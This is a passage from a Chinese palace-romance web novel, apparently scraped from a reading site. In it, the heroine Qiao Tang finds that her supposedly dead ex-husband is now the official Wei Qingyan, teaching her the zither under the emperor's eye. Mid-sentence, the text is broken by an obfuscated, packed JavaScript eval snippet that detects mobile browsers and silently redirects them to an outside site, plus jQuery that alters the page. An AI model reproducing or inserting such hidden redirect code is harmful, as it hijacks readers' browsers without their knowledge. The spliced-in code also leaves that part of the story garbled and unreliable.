她方松了口气,裴承珏笑道,“姐姐擅自出宫,叫朕心里好慌,姐姐打算如何弥补朕?” 一连几日不见,他想乔棠想得心脏都疼了,眼下说这话不过寻个理由想做点什么罢了。 乔棠本想挣扎,四目相对时,暗淡光线下仍能见裴承珏眸中布满红丝。 他真是累极了,应是好不容易寻出时间休息,本要回太极宫好好抱抱乔棠,乔棠却偷偷出了宫,他又费了心力来寻,自是容色倦怠。 乔棠慢慢撇开视线,“任由陛下处罚。” 话说得有多硬气,一路上身子就有多软,裴承珏也实在太过分,硬是折腾了许久。 最后回到宫中时,他想抱着乔棠下车,乔棠面颊绯红似暮霞,坚决让他先下了车,“此刻尚是白日,陛下莫胡闹了。” 她在车里理好衣衫,掀开车帘,裴承珏唇边含笑地立在车旁,伸出一双长臂要接着乔棠,“请乔姑娘下车。” 众目睽睽下,他从来不吝啬展示对乔棠的宠爱。 周围侍卫背过去身低下头,无一人敢看。 乔棠面上消退的红色倏地又浮了出来,暗道自己绝不会如了裴承珏的愿。 裴承珏见她迟迟不动,挑了下眉,倏地靠近过来,双臂揽起乔棠就抱了下来。 乔棠惊呼一声,忙地搂紧了他的脖子,心中将他骂了数遍,“陛下快放我下来!” 裴承珏放她下来后,她当即远离几步,从面颊到颈子都红通通的,“陛下且去忙,我回太极宫了。” 她也不顾裴承珏反应,走得极快,及至太极宫,发现宫殿周围多了许多侍卫。 看来裴承珏为了防止她再偷跑出宫,又安排了许多人手严防死守。 她尚未迈进宫门,王嬷嬷等一众人忙地迎了上来,“姑娘可回来了。” 王嬷嬷嘴唇都白了,拥着她进来,颤声道,“姑娘,日后可莫如此了,陛下他、他……” 王嬷嬷贴着乔棠的身子都在发抖,乔棠知晓定是裴承珏发了火,反手握住王嬷嬷的手安抚,“莫怕,日后不会了。” 王嬷嬷担忧,“陛下可有伤姑娘?” “并无。” 乔棠垂下眸子,步子慢了下来,她很难想象裴承珏发火的模样,裴承珏待她向来温柔怜惜。 “那便好,可见陛下待姑娘之心。” 王嬷嬷转瞬欢喜,乔棠听罢,心底刚起波澜,又被自己摁下去了。 她从来不许自己想些没用的东西,转身去换了一身浅红衣衫,歇息去了。 过了两日,裴承珏忙完了春猎巡兵,得了空闲,派人来接乔棠去勤政殿。 乔棠拿起盛放香粉的锦囊去了,见裴承珏正与臣子议事,先自己进了暖阁。 她给熏炉换了香,待房里燃起香雾,空气中漫开熟悉香气,方发现扶手椅旁多了一副琴架。 琴架上摆有一把焦叶,漆色光亮,边棱圆润,瞧得乔棠眼神一亮。 她慢步过去,伸出手指正要挑弦,又恐扰了裴承珏,只将琴弦轻轻抚摸一遍。 这是把新琴。 她细细地看着,蓦地目光一凝,原来这把新琴龙池上还刻有一个“棠”字,铁画银钩。 这是给她的琴。 乔棠眸光一颤,身后传来脚步声,她被揽入一个温暖怀抱,“姐姐喜欢么?” 乔棠轻轻点头,抱着她的一只手松开了,自她腰侧伸出,手指勾弄琴弦,一阵清越之声流出。 “姐姐觉着此琴如何?” 乔棠一笑,“甚好,不知是何人制的?” “说出来要吓姐姐一跳。” 裴承珏将她身子转过来面对自己,低首与她额头相贴,呼吸纠缠间,她不自在地躲开了,“陛下快别打哑谜了。” “这可不是哑谜,姐姐之前不还好奇过这人?” 乔棠略微一想,猜测是魏若湄的兄长,可又不想答得太快,让裴承珏不悦了,只故作不知地摇头。 裴承珏果然笑道,“姐姐好坏的记性,魏卿可算是白送姐姐一把琴了。” 竟真是他,乔棠暗暗惊讶,听裴承珏续道,“朕听闻魏卿不只琴技不俗,还颇会制琴,便向魏卿讨了一把。” “魏卿花了一年制成此琴,闻得朕要,甚是大方地送给了朕,朕亲手刻下了姐姐的名字。” 乔棠对他抢夺的行为很是无奈,“恐怕魏大人不是大方,是迫不得已,只能割爱吧。” 裴承珏笑了一声,“姐姐惯会可怜旁人,怎不可怜可怜朕?” 乔棠瞧他越说越离谱,不由转移话题道,“那陛下可为我寻好了名师?” “朕教姐姐如何?” 裴承珏身子下压,迫使乔棠腰身枕在琴身上,顿时一阵乱音频出。 乔棠挣扎着抬眸,一撞上裴承珏幽暗的视线,心头哆嗦,这是教琴么!这不就是把她压在琴上胡作非为么! 一段时间后,裴承珏起了身,抱起乔棠坐在扶手椅上,“好了,莫气,姐姐既不愿意,朕就不教了。” 横竖都是他的歪理邪说,分明是他教不成,这会儿还把错推到乔棠身上,乔棠都懒得理他。 “姐姐日后在此学琴吧。” 他似乎从来不恼乔棠所有行径,心中怜爱多得没处使了,便是连乔棠衣袖上的花纹,都细细地抚摸几遍。 乔棠惊觉,要收回衣袖,被裴承珏的手指攥紧了,她心中生出无力,霸着她的人便罢了,连她的衣袖也不放过,一时置气道,“那我的老师呢?” “姐姐以为魏卿如何?” 乔棠一怔,秋水似的眸子泄出惊讶,裴承珏竟愿意让外臣近身靠近她,便是在这暖阁里,有宫人瞧着,那也不合适。 且裴承珏真能大方到了这种程度?难不成是在试探 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但此时此刻,她不能捂住眼睛,堵住耳朵,否认裴承珏对她的喜欢已到了痴迷程度。 乔棠闭上眸子,她回应不了裴承珏的感情,给不了他要的真心,但这些流于表面的情爱接触总能给的。 她一瞬吻上裴承珏,裴承珏猝不及防,反应过来后,唇角一翘,很快沉溺其中。 当夜,裴承珏忍得难受,乔棠的柔情似春日流水温暖地包裹着他,“陛下且再等等,待程太医办完事了,陛下与我……” 人的欲望一起来是难以忍受的,可这世间,还有比欲望更叫人快乐的东西,裴承珏以为他得到了。 这一瞬里,他淡了欲望,认定怀里的姐姐是世上最好的姑娘,他要姐姐先做他的贵妃,再做他的皇后,总归是要姐姐在他身边一辈子。 在这寂然夜里,他抱着乔棠,在她的额上落下一个郑重的吻,连带着他的誓言,一起凿破了帐中旖旎,“朕今生唯要姐姐一人。” 他沉沉睡去了。 殊不知,乔棠听罢,白日里刚稳下来的心绪又乱了,心尖也泛起密密麻麻的疼痛。 为裴承珏的情意?亦或是为她不知结果的未来?或许还有对裴承珏深深的歉意? 她自己也理不清楚这纷乱心绪,神思不属地下了床,如片被风吹散的柳絮,在寝殿里飘飘荡荡,良久落在琴架边了。 月光映出那个“棠”字。 她就这么想起了温璟,想起两人和离前,温璟曾于床榻上有过醉言,“棠棠喜欢蕉叶,我愿为棠棠制琴,刻上棠棠名字。” 那时她分明已下了和离的决心,猛地一听,纵是知晓是醉酒之言,心中还是又酸又疼。 她不喜温璟冷漠薄情,日子久了,这份不喜已难以忍受,情愿不再见温璟那霜雪似的面,不再听他寒冰似的声。 但等温璟不在人世了,知晓了温璟待她也是有情的,那不喜就像从未出现过,心中只剩对温璟早逝的难以释怀。 一滴泪落在琴弦上,泛起可怜的微光。 16. 第16章 同一时刻,镇国公府还有三人久久不眠。 松风院书房里,摇曳的烛火下,魏清砚倦容失神,眼前反复闪出乔棠在酒楼前下马车的那一幕。 便是幕离的轻纱笼住了乔棠面容,他立在对面客栈二楼窗前,轻轻一垂视线,只需一眼就认出来了。 夫妻三年,再没有人比他更清楚乔棠,他无比清晰地记得乔棠身上的一切,一刻也不能忘怀。 他的视线追着乔棠进了酒楼,看着她摘下幕离,露出一张熟悉的秀美面容。 她还是以前那个乔棠,还是那个做过他妻子的乔棠,吃点心时的眉眼情态,与在冀州并无不同。 唯一不同的是她进宫了。 她很得陛下喜欢,陛下为了她,屈尊向自己讨一把琴,自己哪有不应的道理? 烛火燃尽,倏地一下灭了,魏清砚手中红纸剪就的小像已瞧不清了,他依然捏得紧紧的。 院外,房里一暗,立久了的国公夫人松了松僵直身子,手臂揽着魏若湄问,“你兄长这几日神思不属的,你可知原因?” 魏若湄垂着头不敢回答,她也不是个傻的,乔姐姐调的香,乔姐姐写的信,都被兄长识了出来,可见兄长与乔姐姐是旧识。 兄长为她出计,哄乔姐姐出宫,她不知缘由,心头紧张地也照做了,期间她多想问一问,乔姐姐,你认识我兄长魏清砚么? 可是兄长嘱咐过,不得告知乔姐姐真相,她只好憋着一个字不说,忐忑地送走了乔姐姐。 那日她奔进客栈,第一次见到了兄长的另一面,一个剖掉寒霜只余痛楚的魏清砚。 她恨不得从未见过。 她一瞬明白了,兄长和乔姐姐之间定发生了过什么,可兄长不许她告知任何人,她只能瞒着所有人,连带娘亲。 她瞒得好辛苦,尤其是国公夫人问了这么一声,她的泪就落下来,抱着国公夫人撒娇道,“娘亲,我困得眼泪都出来了!我要睡觉!” “好了,好了,去睡吧,我瞧你这两日也不对,话少了很多。” 国公夫人送她去睡了,亲眼看着她进入梦乡,为她掖好了锦被,坐在床边沉思。 儿子这样定是有了心事。 她得想法子问一问,于是第二日她将松风院仆人问了一遍。 魏清砚素日再谨慎小心,也不免被服侍的丫鬟小厮看到些什么。 丫鬟悄悄告诉国公夫人,“二公子总在书房坐着看一张小像,奴婢不得近身,也不知是何人的像。” 国公夫人一听,心里笑了,儿子这是心里有姑娘了,但她也不会急到偷偷去翻儿子的东西,在心里斟酌好语言就去找儿子了。 进了书房,她也不在意魏清砚的冷脸,径自坐下后道,“我听说你把你最宝贝的一把琴给了陛下,心里舍得?” 魏清砚示意丫鬟给她上茶,“一把琴而已,谈不上舍得不舍得。” “这话可不对,你分明很宝贝这把琴,陛下可不能硬抢,你就直言你不舍得便好。” “何况咱们家是太后娘娘的母家,你父亲乃是太后娘娘的亲兄长,真论起这割不掉的血缘,你也是陛下的表兄,便是拒绝了也无妨。” 魏清砚微一摇头,“琴已给过了,母亲无须多言。” “行,你张不开口,我倒是无所谓脸面什么的,我即可进宫,为你要回来!” 国公夫人起身就要走,魏清砚拦道,“母亲,我心中真无不舍,琴是心甘情愿给陛下的。” 他心里藏着话没说尽,那琴本就是为乔棠制的,先前也无机会送给乔棠,眼下借陛下之手送给乔棠,也算完了一个心愿。 国公夫人不知这层渊源,见他拦着自己,急得不行,“我的儿啊!难道你不知这世间好东西,都是要争要抢的!” “今日是一把琴,明日呢,若是你中意的姑娘,他人要和你抢,你也似今天无动于衷,心甘情愿地让给别人!” 魏清砚容色终于变了,却是更冷更冽,一双眸子直勾勾地望过来。 国公夫人先是一惊,连退两步,随即暗喜,不一样了,看来心里真有个姑娘啊! 她一瞬笑了,“儿子莫恼,我也是想到哪里说到哪里,哎,琴便罢了,不过哪天你真有中意姑娘,自己又求不到,可别干像送琴这样的事了,只管和你娘我说!” 魏清砚唇角翕动,似是真要吐出个人名,国公夫人一脸慈母笑意地等着。 等了半晌,竟真的等来魏清砚妥协的一声,“到了那一日,我会告诉母亲的。” “哎,这就对了,你放心,到时咱们这一家子都会帮你的。” 国公夫人温柔地扬起袖子,抚了抚魏清砚肩膀,魏清砚不言不语,只将肩膀放低些。 太极宫里,乔棠昨夜睡得晚,醒来得也晚,身侧位置早已没了暖意。 王嬷嬷笑着望过来,“姑娘可要起来?” 乔棠起了身,听王嬷嬷道,“陛下原派了人来接姑娘去勤政殿用早膳,见姑娘未醒,叫姑娘好生睡着。” 乔棠心知,不能一起用早膳,裴承珏必定回来用午膳,真真做到了少和她吃一顿饭,就得用十顿补回来。 午膳时裴承珏果真回来了,抱着她亲了亲,也不觉烦腻,连乔棠自己都疑惑,这天底下怎会有这般喜欢抱她亲她的人? 两人一起用了午膳。 裴承珏见她兴致不浓,也舍不得委屈她现在便和自己去勤政殿,“姐姐且歇一歇,落照时朕召魏卿到殿,姐姐到时再去吧。” 乔棠明白没有白来的通情达理,习惯性地扬颈,示意裴承珏可以亲了。 裴承珏好喜欢她这般模样,俯身亲了一会儿,末了薄唇贴着乔棠耳朵低语,“还是姐姐懂朕。” 乔棠只想瞪他,他却舍不得离开了,又坐了会儿,亲了亲乔棠的脸颊才离开。 目送他的身影消失,乔棠思及要教自己弹琴的魏御史,冷不丁忆起他说过一句,“他的温情合该向他的夫人使去。” 魏御史有夫人了? 乔棠原就没休息好的脑袋嗡地一下多了几分疑惑。 裴承珏的话应是没错的,可魏若湄分明说过,她兄长还未成婚,她的话应也是对 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她认命地连连点头,将送了程英出去后,有宫人来禀报,“勤政殿传消息来,陛下请乔姑娘带着琴坐步辇过去。” 乔棠遂抱起琴坐上步辇往勤政殿去。 不知怎么地,一路上眼皮跳个不停,心头不安如水中光影掠来掠去。 就这般,慢慢地到了勤政殿,乔棠瞥了一眼映着余晖的琉璃瓦,下了步辇,让宫人们先退下了。 她抱着琴到了台阶前,忽见殿前廊柱旁,立着一个年轻官员。 那官员穿绯红官衣,负手立着,体态高健,身姿端肃。 此时殿前不止他一人,侍卫宫人分列两侧,偏偏他似在无人之境,如棵孤松立在山间,不染半点尘灰,只扬颈远眺落日。 天边暮霞通红,漫天火焰映过来,笼着他一张线条分明的侧脸,叫这侧脸模糊了轮廓,使人看得不太清了。 唯乔棠,一眼就识了出来,迈上台阶的步子倏地一顿,心脏突突地跳动,这张侧脸!这张侧脸! 莫说这不远不近的距离,便是远在天边,便是这张侧脸烧成灰了,她也识得出来! 不正是她那死了的前夫! 乔棠转瞬就以为自己看错了,不敢置信地腾出手揉了揉眼睛,再睁大眸子,试图看清楚时,那张侧脸已慢慢转过来,露出了一张她曾熟悉无比的清俊容颜。 还是那冷凛眉眼,眼神若薄刃,携着风雪刮了过来,忽见来人是她,冰冷目光一凝,风雪尽数融成春水,在眸中轻漾开了。 “砰”得一声,新琴摔到了地上。 乔棠眸子睁圆,似见了鬼般连退几步,浑身流泄的耀眼光彩一瞬褪去,连带魂魄也都被勾走了,只余满目呆滞茫然。 似乎周遭一切都消失了,僵直的眸子也转动不得,她呆呆地看着那人一步一步走过来,俯下身子替她捡起新琴,小心地抱在怀里,用一成不变的冷声道,“棠棠,是我。” 17. 第17章 乔棠的泪倏地落了下来。 棠棠…… 这世上,父母已故去,除了温璟,再无人这般喊过她了。 可是—— 温璟不是死了么? 瞬时魂魄归位,神思聚拢,乔棠根本顾不得擦泪,目光一冷,戒备地盯着眼前人瞧。 像,太像了,容貌无二,眉眼神态亦一模一样,哪里来的人,竟将温璟装得这般像! “棠棠。” 又是昔年她听惯的一声呼喊。 便是连这声棠棠都像得出奇,乔棠容色一冷,连退两步,“你是何人,为何知晓我名字!” “棠棠,你还是这么糊涂。” 魏清砚早已习惯了她这模样,压低声音证明身份,“棠棠若不信我是温璟,我便直说了,你的腰侧有个红痣,曾和我说长得很不是地方……” “住口!” 乔棠呵斥一声,心底翻起惊涛骇浪,她的腰侧确然有个红痣,也的确与温璟这般抱怨过,难不成温璟真活过来了? 她狐疑地上前两步,伸出两指飞快地掐住了魏清砚的脸颊,手上触觉真实,且如何撕都撕不掉,竟是张真脸! 温璟真活过来了! 乔棠再次呆住,滑落腮边的泪珠轻颤,摇摇欲坠,可怜又可爱。 魏清砚的唇角牵起又极快压下,往前进了一步,此刻唯有新琴隔在两人中间了。 乔棠的泪落了一珠,他的右手飞快越过新琴,生生用掌心接住了,“棠棠,回神。” 乔棠倏地动了,脑中掠过魏若湄关于她兄长一系列话语,张口下了断定,“魏清砚便是你!” 魏清砚握紧手心,收回右手,轻轻颔首。 乔棠一时涌出许多疑惑,视线瞥见不远处立着的侍卫宫人,深知此处不是说话的地方,恐怕刚才两人反应已是不妥了,若被有心人撞见,只怕日后生出祸端来。 她思来想去,只抓紧时间先问一句,“我曾和陛下提过前夫已死,不想你死而复生,你可告知过陛下你我之间的关系?” 魏清砚注视着她,“并无。” “那且先不提,只当你我不认识。” 乔棠拿不住裴承珏若是知晓了魏清砚便是她前夫会如何,下意识先将两人处境放在最安全的地方。 魏清砚低眉凝视新琴,不言不语。 乔棠未有注意到,她退了两步,与魏清砚保持距离,忽见裴承珏从殿里缓步出来,忙地擦净眼泪,弱声道谢,“多谢魏大人帮忙抱琴。” 魏清砚唇角翕动,还未出声,裴承珏就从他身后步出来了,“原来乔姑娘迟迟不进殿,是被魏卿堵住了路。” 听声音倒像埋怨了两个人,连视线也是,先淡淡扫过魏清砚怀里的新琴,再慢慢地转向乔棠。 乍然见乔棠眸子泛红,眼角带有泪痕,裴承珏心里一疼,疾步靠近,“这是怎么了?” “适才被台阶绊了一下,磕着了右脚,琴也被摔了,还抓了一把魏大人的脸,好在魏大人心胸开阔不计较,还帮忙帮我捡琴……” 乔棠遮掩的话语未完,裴承珏听不下去了,“伤了脚,哪还能站着?” 但见他长臂一伸,已拦腰将乔棠抱在怀里,乔棠低呼一声,恨不得去捶他,干什么当着她前夫的面抱她! 她也不知怎么办才好了,忙地把脑袋埋在裴承珏肩膀上,一下避开了身前魏清砚冷冷的目光。 裴承珏十分受用她在外人面前对自己的亲近,快步越过魏清砚,“魏卿宣太医。” 魏清砚摁在琴弦的手指一颤,“是。” 一进了殿,乔棠就想从裴承珏怀里下来,“陛下莫急,不过磕一下,已不疼了。” 裴承珏不许,直接将她抱进暖阁,放在床上,才叹气怜惜道,“姐姐小心些吧,哪能走路也要绊到自己,日后还是坐步辇的好。” 乔棠只说好,见裴承珏俯下身子,竟要伸手要褪她的鞋袜,吓得要缩回右脚要跑。 不想裴承珏动作更快,一把握住她的脚腕,低首警告,“姐姐别动!” 乔棠羞得赶紧阖眼。 这下,看是看不见了,触觉却更加敏锐了,鞋袜退掉后温热手指拂到了右足上,贴着细白滑腻的肌肤游走,撩起丝丝痒意。 乔棠只觉裴承珏那只手哪里拂的是她的脚,分明是挠的她的心,竭力将右脚挣脱出来,一下子缩进了帐里,“陛下,我的脚是真不疼了!” 裴承珏直起身子,依然低首若有所思,蓦地抬眸,展眉一笑,欢喜自己抓住了乔棠软肋,“原来姐姐怕这个。” 乔棠在心里忿然道,坏胚子一个! 外面传来魏清砚的冷声,“陛下,陈太医到了。” 乔棠很清楚自己并不需要看太医,朝裴承珏摇了摇头,裴承珏慢步出了暖阁。 乔棠立马下床,一边穿好鞋袜,一边听裴承珏在外道,“乔姑娘已无事了,让陈太医回去。” 她理好衣衫妆容,步到隔断处,裴承珏折回来与她打了个照面,见她衣衫齐整,并无不妥之处,才吩咐道,“魏卿,进来。” 魏清砚抱琴进来,低身将琴放置在琴架上,撤开三步,立于一侧,低眉敛目,并不朝乔棠看去。 乔棠也知此时两人不宜接触,只在琴架前落座,余光扫到魏清砚绯红的官袖,强行稳住纷乱心绪。 裴承珏已暂且忙完政务,在扶手椅上坐着,以手支颌地望过来,目光半分不离乔棠。 “魏卿,别冷冰冰的了,对学生总得声音柔和些吧。” 裴承珏既下了令,魏清砚容色和缓许多,冷声融成了涓涓春水流淌在暖阁里。 裴承珏讶然挑眉,原来魏卿还有这般柔情的一面,看来他对他的臣子们了解得还是太少了。 不过—— 了解他的臣子们多无趣,还是他的姐姐好看。 裴承珏无论心里如何想,目光仍深深凝视着乔棠,似是瞧一辈子也瞧不够。 乔棠受着他痴缠的视线,低眉只听魏清砚讲琴,状似听得认真,实则心神早已散了。 毕竟她又哪里需要听这些? 在冀州做夫妻时,温璟已将这些东西讲了好几遍了。 刚成亲那一年,温璟讲得最细,只会在教琴时端正地纠错,眸底不含半分温情,“夫人,错了,重来。” 慢慢地,在她的纠缠软语下,温璟仍端着冷脸,身子却越贴越近,“棠棠,你心乱了,弹不好的。” 自打乔棠与温璟成亲,乔棠的心一直是乱的,可惜啊,温璟教她弹琴一年才发现。 温璟于情上的淡漠叫她伤心,可伤心归伤心,她还是欢喜的,就如此刻,她纵是不知温璟假死的缘故,仍高兴于他活了过来。 他活了过来。 乔棠在心里落下一滴泪,泪珠还未融化,耳畔传来一道惊声,“姐姐……” 乔棠慌地聚了神,抬眸见裴承珏越过琴身靠过来,手指点了点她的额头,勾唇笑她,“你的老师被你气走了。” 乔棠侧目,魏清砚站立的地方已空无一人,原来他已走了。 乔棠转回视线,不满地捂住额头,淡淡哦了一声。 裴承珏觉着她这模样可爱极了,步过来与她一起坐在琴架旁,“原来姐姐学习时是个糊涂的,听着听着就走了神,朕瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145281|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏卿要气死了。” 乔棠并无和他胡闹的心思,由着他说了一会儿,下巴猛地被钳住,她被迫侧过头,裴承珏眸子黑沉,“姐姐,你不专心。” 乔棠一惊,还未辩解,裴承珏靠近吻过来,她只有受着,脑中猛地闪过温璟冷淡的眸子。 一只手下意识挡在两人跟前。 裴承珏慢慢地撤开身子,手掌依然扣着她的后颈,定定地望过来,眼底没了玩味笑意,“姐姐,适才亲吻,你心底在想什么?” 乔棠不想自乱阵脚,收了手埋首在裴承珏颈边,“陛下,学琴好无聊,我听得都累了,心思也散了。” 裴承珏阖上眸子,侧头吻了吻她的发,纵心底再有疑惑,也舍不得说什么了,“朕带姐姐歇息去。” 这厢魏清砚出了勤政殿,天幕已黑了下来,他稳步下了台阶。 恰逢王嬷嬷赶来看乔棠,双脚才迈上台阶。 宫灯晃出一阵光影,两人不免打了个照面,直惊得王嬷嬷心口一缩,啊得尖叫一声,脚下一滑扑到了台阶上。 魏清砚认出了她,俯身去扶,悄悄低语,“嬷嬷别怕,我是温璟,明日下午我在兴和酒楼二楼等嬷嬷。” 有侍卫疾步过来了,王嬷嬷站直身体,呼呼喘气,一双惊惧眸子紧紧盯着魏清砚离开的背影。 恰在此时,内阁有辅臣来见裴承珏,裴承珏脱不了身,只得命李公公备了步辇,送乔棠回去。 乔棠一出殿,便见王嬷嬷在阶下立着,喊了她过来。 王嬷嬷快步过去,面上笑眯眯的,已看不出任何异常。 待回了太极宫,乔棠挥退所有宫人,抱着王嬷嬷讲起了温璟活过来的好消息。 王嬷嬷震惊道,“前姑爷死而复生了,这是天大的好事,那先前他落崖身亡是怎么回事?” “暂不提这个,活过来便是最好的了。”乔棠也不知缘由,不过无妨,她眼下正欢喜呢。 王嬷嬷道,“姑娘说得对,实则适才我也碰见前姑爷了,还以为我看花了眼,没成想是真的,前姑爷还给我留了话,说明日去兴和酒楼等我,姑娘可要我去?” 乔棠极快道,“要去。” 王嬷嬷心里一沉,姑娘这反应分明心里还惦记着前姑爷,但她也不急于点破,笑道,“那姑娘可有话和前姑爷说?” 乔棠迟疑一瞬,转过身子,有些事她还是想要个结果,遂低眸道,“嬷嬷帮我问一声,他曾说为我制琴,陛下送我的那把琴是他为我制的么?” 王嬷嬷张口应下来,哄着乔棠道,“姑娘且放心,明儿我去见前姑爷,好好问问他什么情况。” 乔棠笑了起来。 晚间休息时,她的眼前总浮出温璟于殿下立着的那道身影,如何也睡不着了。 裴承珏忙至半夜回来,由宫人侍奉着沐浴换衣,进了寝殿里间。 此时烛火未熄,纱帐挽起,乔棠握着夜明珠,面上漾着浅浅笑意。 裴承珏甚少见她这般愉悦地笑,一时看得情难自制,又恐像在漱玉阁那里失控吓着了她,克制地缓了情绪才靠近床边。 “姐姐就这般喜欢朕送的夜明珠?” 惊得乔棠手上一抖,夜明珠从手心滑落,滚落床边时被他两指一顺,又送到了乔棠眼下,“姐姐还玩吗?” 乔棠摇摇头,接过来放在床里面,眼前一暗,却是裴承珏放下纱帐,过来抱她了,“姐姐不必等朕,睡这般晚对身子不好。” 乔棠也未解释,裴承珏绵密亲吻落下来。 吻了许久,薄唇一停,裴承珏低低地征求乔棠意见,“程太医已向朕禀报过了,不若今夜姐姐和朕…” 18. 第18章 未竟之语不言而喻。 乔棠计划原是如此,眼下已水到渠成,她本该胸有成竹,竟心生慌乱,迟疑不决。 也许她高估了自己的决心,实则还未准备好与裴承珏敦伦,“陛下,我……” 她偎在裴承珏怀里轻颤,唇瓣轻触裴承珏下颌,带着不自知的亲昵厮磨,“怕陛下控制不好自己。” 裴承珏一听,恨不得将她揉进自己身体疼,懊悔低言,“怪朕那日在漱玉阁过于情急,叫姐姐害怕了,姐姐莫怕,今夜朕不会做什么。” 大抵年少人说什么都是坦坦荡荡,赤诚得不带任何掩饰,连怀抱也是暖得叫乔棠脑子糊涂了几分。 裴承珏的怀抱又宽厚了些,他还在长身体,身量本已是成年男子的体型了,也不知及冠时会长成什么模样。 乔棠想着这个奇怪问题,闷在他怀里笑了起来,闹得裴承珏也笑了。 尽管他不知姐姐在笑什么,可是姐姐欢喜,他也欢喜。 “姐姐睡吧。” 这一瞬里,他倒像是比乔棠长了两岁,稳重地轻轻拍着乔棠纤薄后背。 乔棠扬颈,嘴角残存笑意,一张玉颜莹莹生辉,“适才忘了提一事,王嬷嬷惦记家中丫鬟小厮,想出宫看看他们,陛下可准?” “准,姐姐说的朕都准。” 裴承珏深深凝视眼前笑颜,胸腔里的心脏急切地跳动,要钻出来似的,“姐姐既然不困,便不睡了吧!” 接下来免不了一阵折腾。 待裴承珏睡去,乔棠睁着眸子,唇上还残留着身边人炽热温度,再也睡不着了。 睡不着的也不只她一人。 松风院里,任由月色浸透一袭衣衫,魏清砚依然立在琴架前,手中摩挲着小像。 眼前浮出了白日里乔棠面颊上的泪,是为他落的,那她心里还是有自己的吧? 魏清砚不舍地握紧了手中小像。 酉时,乔棠方睡去,裴承珏却醒了,起身换了朝服去上朝。 朝会结束后,他想起昨夜乔棠在他怀里轻颤,实在惹他怜爱,在殿里思付良久,还是从太医院召了一个年轻太医,询问敦伦之道。 那太医一得了机会,尽心尽力地将此道一一说来,裴承珏偶有听不明白的,拿了折子映住微红面容,“且讲细些!” 等他听明白许多东西,心里庆幸自己昨夜没碰姐姐,不然还真会伤了姐姐,看来日后还是要多学习,至于床榻里的册子,也需多多看看。 太极宫这边,乔棠不知裴承珏学得有多认真,送了王嬷嬷出宫。 王嬷嬷先回了宅院,看了乔家的丫鬟小厮,见人都好好的,安心地又嘱咐几句,出了宅子往兴和酒楼去。 一到酒楼门前,便有个伶俐小厮出来接她,一路领着她上了二楼,在雅间见到了魏清砚。 小厮出去,将门闭得严实,王嬷嬷弯腰行礼,魏清砚扶了她落座,“嬷嬷不必和我生分。” 王嬷嬷抬眼,见他一身冷冽风采比在冀州更甚,然面带倦色,眸中布满红丝,想必一夜未睡。 果真,魏清砚一开口,连带嗓音都是哑的,“棠棠可好?” 王嬷嬷笑道,“我家姑娘很好,魏大人且放宽心。” 魏清砚心中一安,听王嬷嬷续道,“也是我这老婆子不长眼,曾以为魏大人身死了,不想魏大人造化极好,如今身份自不必说,日后必定顺顺遂遂,心想事成。” 他不免勾唇自嘲一声,“嬷嬷不必说这些虚话,心想事成?眼下我想的都未必能成得了。” 王嬷嬷揣着明白装糊涂,“不知魏大人眼下想的是……” 魏清砚悄悄在袖中摩挲那小像,“嬷嬷心知肚明。” 听得王嬷嬷冷笑一声,她心里不是没有火气的,适才还肯压着,此刻再也忍不住发了出来。 “我是心知肚明,可我也不知大人做出这般模样是为何?我家姑娘良善,不肯说大人一句,我这老婆子可不行,今日便是得罪了大人,也要为她说一说。” “当初姑娘和大人做夫妻,三年来在大人身上耗费无数心力,大人享受得心安理得,到头来还要伤了姑娘的心,姑娘万般无奈下才肯和大人和离。” “不想大人得了好造化,成了国公之子,可大人纵是离开冀州,进京认亲,为何非要弄出一个假的落崖身死,害得姑娘在崖下寻了一个月,夜夜被噩梦惊醒,说大人被野兽吞了,连个尸首都没得留,直哭成了一个泪人!” 魏清砚容色骤变,眸光震颤,“我不知,我竟不知……” “大人的心一向是冰块做的,不知的东西多了去了。姑娘为大人哭了几个月,我看不下去,这才哄着姑娘离开冀州这个伤心地,来到了京中。” 魏清砚狠狠阖上眸子,喉结滚动,声线沙哑,“倘若我知棠棠心里还有我,我怎会让她伤心?” “大人让姑娘伤心的何止这一处!” 王嬷嬷也不是非要捅魏清砚心窝子,她也知晓此人对乔棠并非没有情意,只是性子冷到这程度,终究比不过宫里陛下那副情暖似火的心肠。 但见魏清砚如此,她也于心不忍,她最疼乔棠不假,对当时身为姑爷的魏清砚也是用了心的,这才有了适才那股怨气,眼下怨气发出来,只剩了无限叹息。 “大人,过去的就让过去吧,路还是得往前走,如今我家姑娘已往前走了许多,和陛下好着呢,想必大人也听说了吧。” 魏清砚以手覆面,良久不语。 先前他沉湎公务,不闻俗事,待猜出宫中乔姑娘是乔棠时,他有意打听过。 同僚们都说那乔姑娘甚得陛下宠爱,陛下日日都要带在身边,还曾为她发怒,生生射瞎旁人眼睛…… 桩桩件件都摆明了陛下对乔棠的喜欢并非虚假,如今又得王嬷嬷证实,他原是该明白的,只是—— 魏清砚眼前闪过乔棠带泪的面颊,想到乔棠为他在崖间寻尸,为他数度落泪,可见棠棠对他还是有情的…… 他缓缓问道,“棠棠可有话和我说?” 王嬷嬷深知乔棠的话递出来,恐怕会惹出事端,可思及乔棠那执拗的双眼,又不愿欺瞒一点,“姑娘要问大人一声,那琴是为她制的么?” 魏清砚浑身一颤,那夜棠棠竟听到了,且记在心间这般久,“是,那时我言为棠棠制琴,并非醉话。” 王嬷嬷心叹,若非陛下在,这两人或可还能再续前缘,“大人糊涂呀,何必弄出假死一事,若非这一出,姑娘与大人焉能走到这一步?” “便是有了这一出,倘若姑娘进京后,在街上遇到的是大人,你们二人……” 她喃喃道,“都是阴差阳错,缘分尽了啊!” 魏清砚扬颈,咽下满心苦涩,“非是阴差阳错,是我先亏了棠棠,才酿成大错。” 眼下再悔恨已晚矣,也不知还有无补救机会? 事已至此,王嬷嬷也无话说了,如长辈一般轻轻拍了拍他的肩膀,推开门要走。 魏清砚起身,“请嬷嬷告诉棠棠,前些年是我让她伤心,若是棠棠心里……” 声音一顿,思及棠棠眼下身份,他还是想着先确 